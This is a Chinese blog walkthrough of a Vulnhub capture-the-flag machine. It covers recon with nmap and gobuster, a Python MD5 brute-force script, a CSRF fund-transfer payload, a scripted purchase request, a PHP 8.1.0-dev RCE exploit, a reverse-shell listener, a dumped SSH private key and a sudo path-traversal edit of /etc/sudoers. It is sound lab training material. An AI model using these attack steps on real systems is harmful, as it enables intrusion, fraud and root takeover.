由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
本文靶机下载连接-戳我直接下载!
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口还是比较的多
发现了几个常用端口服务22/ssh 80/http
22/ssh
ssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个
80/http
基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个有点好看的web页面
我们直接ctrl+u
,如下,里面有四幅图,直接点击这几个图片的链接就可以打开查看
接下来,我们看看这几个图片的内容,直接用的翻译软件,不是很准确,大概能明白一丢丢意思,继续往下走
我们这里拿gobuster
跑一下,发现了一个/Travel
目录
gobuster dir -u http://192.168.2.131/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
我来翻译一下
擎天柱能够找到两个密钥的加密坐标它们似乎在同一个地方。
你(Jack)与大黄蜂和Arcee一起被派去获得密钥,在声波能够解密之前完成!
你能找到@decepticon-base来获取iacon_codes吗?(霸天虎可能会删除安全区外的符号代码,想办法)
用于坐标的加密消息:daab260727e470e56e77ec22e8f3d413
解密消息的格式:
/iacon_code/(一个国家的首都)/{Latitude_dd.dd-Longitude_dd.dd}.txt
d = 0-9之间的任意数字
根据这个线索,我们直接来到Github(点我直达)翻一下
直接再github.com
网址拼接/decepticon-base
就可以找到这个基地,然后再选择Projects
这个项目
进入这个项目之后我们直接依次选择iacon
->iacon_codes
就可以得到下图界面,根据显示的内容我们可以发现这个项目已经被删除了
我们用Wayback Machine这个网站查询一下这个项目历史(ps:如果访问不了的话直接可以跳过这里在后几步拿iacon_codes
)
直接在搜索框里面搜我们上一步操作的页面的整个URL(可以右击我直接复制链接)然后会回车即可
按照下图进行操作,这里一定要选择2021
年的,要不然其他的看不到
CYB3R-6969
C0D3-20
C0D3-007
CYB3R-9000
OMEGA-001
OMEGA-002
OMEGA-003
R3LIC-1337
SP4RK-2727
SAB3RSWORD-7777
信息收集工作都搞好了,现在写一个脚本把这个hash爆出来(Capital.txt字典可以在博主主页联系博主免费拿)
import hashlib
iacon_codes = [
"CYB3R-6969",
"C0D3-20",
"C0D3-007",
"CYB3R-9000",
"OMEGA-001",
"OMEGA-002",
"OMEGA-003",
"R3LIC-1337",
"SP4RK-2727",
"SAB3RSWORD-7777",
]
# 打开名为 "Capital.txt" 的文件,该文件包含部分首都的名称(防止字典跑太久)
with open("Capital.txt", "r") as capital_file:
# 遍历每个编码
for code in iacon_codes:
# 重新将文件指针置于文件开头,以便重新遍历首都文件
capital_file.seek(0)
# 遍历首都文件中的每个首都名称
for capital in capital_file:
capital = capital.strip("\n") # 移除换行符
# 生成坐标范围内的每个纬度和经度的文件路径
for i in range(10, 100):
for j in range(10, 100):
# 构建文件路径字符串
text = f"/{code}/{capital}/Latitude_{i}.{j}-Longitude_{i}.{j}.txt"
# 计算文件路径的 MD5 哈希值
hashed_text = hashlib.md5(text.encode()).hexdigest()
# 检查哈希值是否与指定值匹配
if hashed_text == "daab260727e470e56e77ec22e8f3d413":
# 打印匹配的路径信息
print("True=" + text)
如下图,正确的目录已经跑出来了
/R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt
我们直接用跑出来的目录访问靶机的web目录。拿到了flag1
和新的线索
祝贺你通过了第一阶段!
你的勇气让我们拿到了4把钥匙中的2把!
这是您的第一个flag1:Flag1{873b375210b4297e9bdea1ed183c2da5}
。
坏消息:威震天有两把钥匙可供他使用。首相和大黄蜂从红蜘蛛那里得到了信息,红蜘蛛是威震天的叛徒和前指挥官,关于他藏在Kackout商店最昂贵的东西里的秘密物品。该项目具有管理员凭据。
商店链接:/W4RSHIP_Sh0P.php。
祝好运!
我接下来访问/W4RSHIP_Sh0P.php
页面,crtl+u
审计源码可以发现一个管理员用户admin_boss
我们返回到主页面,往下面翻一下,随便找个资源,点击购买按钮,如下
就会跳转到登录页面,我们点击Sign up now
注册一个账户并且登录
登录进来之后,可以发现我们的可用余额为0
这里有一个转账的链接,我们点击访问一下
可以发现我们不仅没钱,也没有管理权限转账
但是我们可以注意一下URL
处,发现了这个链接不简单,在主界面有一个给管理员反馈的地方,那么我们就可以利用这一点去构造CSRF
攻击,让管理员给我们转钱
我们构造CSRF的payload:http://192.168.2.131/W4RSHIP_Sh0P_transfer.php?to=user&amount=99999&from=lord_starscream
user处就是我们上面找到的管理员用户admin_boss
内容处就是我们构造好的payload,然后点击发送即可
点击send之后就会跳转到如下页面,发现已经到账一万元了,可以开始消费了
我们就可以购买这个秘密资料啦
由于我的靶机并没有通外网而且Google的JS库也不能使用,那么我么就手写一个调用接口的
我们看到这个付款的html代码,发现这里调用了一个pay()
函数,并且传入了两个值2,9999.00
再根据这个pay()
函数里面的内容,我们就可以知道如何使用这个接口
那么我们直接上python
代码去调用这个接口
import requests
url = "http://192.168.2.131/W4RSHIP_Sh0P_buy.php"
data = {
"itemid": 2,
"price": 9999.00
}
rp = requests.post(url, data=data, cookies={"PHPSESSID" : "hlnu7njr026n6g06ku1t26eq9i"})
print(rp.text)
运行一下,如下图,根据返回的reponse
获取到了一个新的URL和账户密码``
/M3G4TR0N_SUPR3M3/login.php
和L0RD_M3G4Tr0N/freakishlylongpasswordforl0gin
登录成功之后,就能拿到flag2:Flag2{8278ad4f45efef155f2569c1be074d2d}
我们按一下键盘的F12
,按照下图步骤,抓一下网络请求数据
可以看到X-Powered-By的字段内容为PHP/8.1.0-dev
,这个版本是有RCE
的
我们直接用searchsploit
工具搜这个php的漏洞
有一个远程代码执行RCE
漏洞的python exp
文件
执行我们拷贝下来的py文件,并且输入我们刚刚的那个URL即可
由于这个python的exp给的是webshell
对我来说操作空间不大,所以我们要提升普通shell
根据下图步骤,通过写入反弹shell并执行来获得普通shell
,并且我们在kali里面用nc -lvvp 1234
命令来监听一下
如下操作,获取ssh私钥
#看一下home目录下的用户
www-data@warship:/$ ls /home
megatr0n soundwave
#到soundwave用户的ssh密钥目录
www-data@warship:/$ cd /home/soundwave/.ssh/pem
#发现私钥文件
www-data@warship:/home/soundwave/.ssh/pem$ ls
identity identity.pub
#显示私钥文件
www-data@warship:/home/soundwave/.ssh/pem$ cat identity
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAutt1pf7feg8cUiobNUJCm/3hMcX9t0sSg7FTWdaLuYsGShhI
7OD8W01Pl4JPMxFg9urX4Iazjn+pWT7F9Wu7uCgzxBSlH1nfStcAh9cNs0Yop8UM
Pae/dxBNharEXipxZ8Wph0pPUlht2KTc9k8sRrMb5zpD8v5g7gWGfNQUSDFkf7p7
rpqVxYNadmTqERi+rJr95ByJXKDieGhQlDTfH572F0wqQB2n09F/LsLEzLD1ymEu
2DrAXU9EHsatSGanz5LGLVQPEgYIvNE2G71owTwqjNGwiEhaeHnySyf1fSIxDY3k
tyCT0YGWhXvALHwYY0xGdL60jXnkJweKaPpgPQIDAQABAoIBACMiju2mjhjibH3a
owERs3qnc0erpfhoKlQO7NBQsjcyN/2IsXWxHGKCl/uyKfg9RVFIeU0jpvGdeZdp
YUmzdzm6fXlaNG4/tOfao6PnQRE7mPtq5tFVEIBv1VPT91aJfod3uFfTFjUyoX0C
CvZZjsbAePeykgJH6Kv45//i1Ol55dlV2Gr10S8v8oixeIasvadRu9WAWWw+6Pj5
Tr7jrI9+XkTcuQD49Kq7p8HOU538cAR9R85lBZNOi4iX5hwzuORyLJcgT9ct+l7h
NPNugbcXVekN29R+0jh8ob5p/Dr6LOHsBGOeno8Wcd2YaF/Rh3D1QVA+bZ9Gdc3J
slfZ4rUCgYEA358IPP2GUe9cstmIgEqRfSeDOhiUxDpbmHkMtdpnqIRIv3t3YKJ8
m03aqx5nn4vrdTOR2IjWxunY8b+2aDGdDotddHrjwXaIujBgKd5Ydy/Z5MBk2vxg
JFuNUXgFugwOJfrrCCPDaOPmQoarSc9s+nCE+/eAyOu1vYNtXU/J/xMCgYEA1emy
pQzQH2tZKZqoqQJPkwlVRiCTclt0e8EHjtbAiB8BQH4P3z97P1fmsourcxuq7pxP
EkK+HTehTovIBgQ9WbGqfBHwhaAFot+2lRuF3hxh+1X5xLucnr78k/bu6Bi3pIeO
JLC3t/MCCVpcQJhkXmaEhGWweNG7Z0Mof0pV/W8CgYAE+1H/qdY4NRDnmxkDYqXj
F+JAhROrW3F28BtsYbU1d9z3BxUdvgDwpMdeUIsWbtOMBN4W6NWAEO2YVSEHKTPK
gyhN0/8G7FEXdMRvqlhmL1a3VeHpTv4FUVTQn8/g2SvnhLN/tuw/hfQ3PzDJsClJ
WwBbbKQd1cJyul7RWVmyqQKBgQC4b4jiGgwQKwRzhK/LGPz3L+LgVhILVaM3WJVl
qO/T7besnYSd3iQr12RHqXkoBED6/raGbhlxI5fnG0pZNaqX/UGbO/R/oht59R19
rn9bpGkuxVBXOdOuY8lu4kfWwgkEyQPbyqp85f9phQlpgHt5kTbM2MixQ1QrkpIG
Plep7QKBgQCDN6yu312t8zxA2b7cATgcAZDx9SCLBZBJ5LtUIvmKuwRCQTh2cIp/
ez1y8SbKaTGRFoNZ5moJ9G0Bw8yVc2Ne+mnAbu7nnIhuzvDlGNVtW7yLJjCbfQkH
7MirE1l4ymR3RsR4dV8MHUl86wkBEpenHmbRwVX8iqB80InPnbZxMw==
-----END RSA PRIVATE KEY-----
我们把显示出来的ssh私钥
复制下来,保存到kali里面,并且用这个私钥登录soundwave
用户,如下操作(ps:私钥文件的权限一定要改为600,否则无法正常使用
)
如下操作,获取第三个flag3flag3{9b47aa8b1e3943bf393fd66754a5c6fb}
我们用sudo -l
查看一下sudo权限,发现可以免密执行,但是只作用在/var/Decepticon/*
下面的文件
虽然限制目录,但是我们可以用../
来进行绕过,如下
sudo /usr/bin/vim /var/Decepticon/../../etc/sudoers
我们修改第30行
处,把sudo所有权限都给soundwave
用户,并且设置为免密
我们切换到root的家目录,查看最终的flag文件,拿到Flag4Flag4{f220ad174379375c286849d7eb59dd90}
完成本靶机的渗透全过程